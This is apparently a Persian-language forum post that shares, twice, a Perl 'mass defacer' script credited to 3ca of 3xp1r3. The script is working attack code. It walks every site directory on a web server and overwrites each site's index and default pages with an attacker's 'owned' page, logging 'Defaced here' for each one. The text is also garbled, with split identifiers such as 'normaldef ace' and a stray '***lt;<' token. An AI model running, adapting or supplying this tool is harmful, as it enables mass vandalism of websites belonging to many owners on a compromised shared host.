طرز استفاده در خود اسکریپت توضیح داده شده:
[php]
#!/usr/bin/perl
#My comments >>
#Windows & Linux mass defacer script
#usage: mass.pl -i <ownedindex.html> -d <defacepath> -p <rootpath>
#example: mass.pl -p public_html -i defaced.html -d c:\inetpub\wwwroot\
# [-p Optional ]
#my used functions
use Getopt::Std;
use FileHandle;
use File::Copy "cp";
***lt;<end used functions
#checking OS
my $OperatingSystem = $^O;
my $unix = "";
if (index(lc($OperatingSystem),"win")!=-1){
$unix="0"; #windows system
}else{
$unix="1"; #unix system
}
#Our variables
getopts (":i:d:", \%args);
$p=$args{p}; #root path
$d=$args{d};#mass deface path
$i=$args{i};#index file
#Our index files
#do u need other add it
@indexz=('index.html','index.htm','index.asp','ind ex.cfm','index.php','default.html','default.htm', 'default.asp','default.cfm','default.php');
#Parameters Checking
if(!defined($d) || !defined($i)){usage();}
if(defined($d) && defined($i) && !defined($p)){checkfile($i);checkdir($d);normaldef ace($d);};
if(defined($d) && defined($i) && defined($p)){checkfile($i);checkdir($d);rootpathde face($d,$p);};
#normal deface function
sub normaldeface{
if($unix){
system("clear");
}
else{system("cls");}
$dir=shift;
@otekidizinler=dizinbul($dir);
foreach $tekdizin(@otekidizinler){
foreach $tekindex(@indexz){
if($unix){
gopyala($i,"$dir//$tekdizin//$rpath//$tekindex");
}
else{gopyala($i,"$dir\\$tekdizin\\$rpath\\$tekinde x");}
}
print "Defaced here : $tekdizin\n";
}
}
#rootpath deface function
sub rootpathdeface{
if($unix){
system("clear");
}
else{system("cls");}
($dzn,$rpath)=@_;
@aqdunyanin=dizinbul($dzn);
foreach $tekdizin(@aqdunyanin){
foreach $tekindex(@indexz){
if($unix){
gopyala($i,"$dzn//$tekdizin//$rpath//$tekindex");
}
else{gopyala($i,"$dzn\\$tekdizin\\$rpath\\$tekinde x");}
}
print "Defaced here : $tekdizin\\$rpath\n";
}
}
#copy function
sub gopyala{
($file1,$file2)=@_;
$n = FileHandle->new("$file1","r");
cp($n,"$file2");
}
#list dir function
sub dizinbul {
my ($dir) = @_;
opendir(DIR, $dir) || return();
my @files = readdir(DIR);
closedir(DIR);
@files = grep { -d "$dir/$_" } @files; #Dr Trojan
my @files = grep { $_ !~ /^(\.){1,2}$/ } @files;# Don't Mess With The Code
return(@files);
}
sub checkfile{$file=shift; if(!-e $file){print "\n\"$file\" file doesn't exists,check your index file\n";exit;} }
sub checkdir{$dir=shift; if(!-d $dir){print "\n\"$dir\" path doesn't exists,check your deface path\n";exit;} }
#How to use this script ?
sub usage{
if($unix){
system("clear");
}
else{system("cls");}
print q
[
================================================== =======================
3xp1r3 MASS DEFACER TOOL
(C)oded by 3ca
www.3xp1r3.com
usage: mass.pl -i <ownedindex.html> -d <defacepath> -p <rootpath>
example: mass.pl -p public_html -i hacked.html -d c:\inetpub\wwwroot\
-p Optional
================================================== =======================
];
exit;
}
[/php]
مطالعه بیشتر
[php]
#!/usr/bin/perl
#My comments >>
#Windows & Linux mass defacer script
#usage: mass.pl -i <ownedindex.html> -d <defacepath> -p <rootpath>
#example: mass.pl -p public_html -i defaced.html -d c:\inetpub\wwwroot\
# [-p Optional ]
#my used functions
use Getopt::Std;
use FileHandle;
use File::Copy "cp";
***lt;<end used functions
#checking OS
my $OperatingSystem = $^O;
my $unix = "";
if (index(lc($OperatingSystem),"win")!=-1){
$unix="0"; #windows system
}else{
$unix="1"; #unix system
}
#Our variables
getopts (":i:d:", \%args);
$p=$args{p}; #root path
$d=$args{d};#mass deface path
$i=$args{i};#index file
#Our index files
#do u need other add it
@indexz=('index.html','index.htm','index.asp','ind ex.cfm','index.php','default.html','default.htm', 'default.asp','default.cfm','default.php');
#Parameters Checking
if(!defined($d) || !defined($i)){usage();}
if(defined($d) && defined($i) && !defined($p)){checkfile($i);checkdir($d);normaldef ace($d);};
if(defined($d) && defined($i) && defined($p)){checkfile($i);checkdir($d);rootpathde face($d,$p);};
#normal deface function
sub normaldeface{
if($unix){
system("clear");
}
else{system("cls");}
$dir=shift;
@otekidizinler=dizinbul($dir);
foreach $tekdizin(@otekidizinler){
foreach $tekindex(@indexz){
if($unix){
gopyala($i,"$dir//$tekdizin//$rpath//$tekindex");
}
else{gopyala($i,"$dir\\$tekdizin\\$rpath\\$tekinde x");}
}
print "Defaced here : $tekdizin\n";
}
}
#rootpath deface function
sub rootpathdeface{
if($unix){
system("clear");
}
else{system("cls");}
($dzn,$rpath)=@_;
@aqdunyanin=dizinbul($dzn);
foreach $tekdizin(@aqdunyanin){
foreach $tekindex(@indexz){
if($unix){
gopyala($i,"$dzn//$tekdizin//$rpath//$tekindex");
}
else{gopyala($i,"$dzn\\$tekdizin\\$rpath\\$tekinde x");}
}
print "Defaced here : $tekdizin\\$rpath\n";
}
}
#copy function
sub gopyala{
($file1,$file2)=@_;
$n = FileHandle->new("$file1","r");
cp($n,"$file2");
}
#list dir function
sub dizinbul {
my ($dir) = @_;
opendir(DIR, $dir) || return();
my @files = readdir(DIR);
closedir(DIR);
@files = grep { -d "$dir/$_" } @files; #Dr Trojan
my @files = grep { $_ !~ /^(\.){1,2}$/ } @files;# Don't Mess With The Code
return(@files);
}
sub checkfile{$file=shift; if(!-e $file){print "\n\"$file\" file doesn't exists,check your index file\n";exit;} }
sub checkdir{$dir=shift; if(!-d $dir){print "\n\"$dir\" path doesn't exists,check your deface path\n";exit;} }
#How to use this script ?
sub usage{
if($unix){
system("clear");
}
else{system("cls");}
print q
[
================================================== =======================
3xp1r3 MASS DEFACER TOOL
(C)oded by 3ca
www.3xp1r3.com
usage: mass.pl -i <ownedindex.html> -d <defacepath> -p <rootpath>
example: mass.pl -p public_html -i hacked.html -d c:\inetpub\wwwroot\
-p Optional
================================================== =======================
];
exit;
}
[/php]
مطالعه بیشتر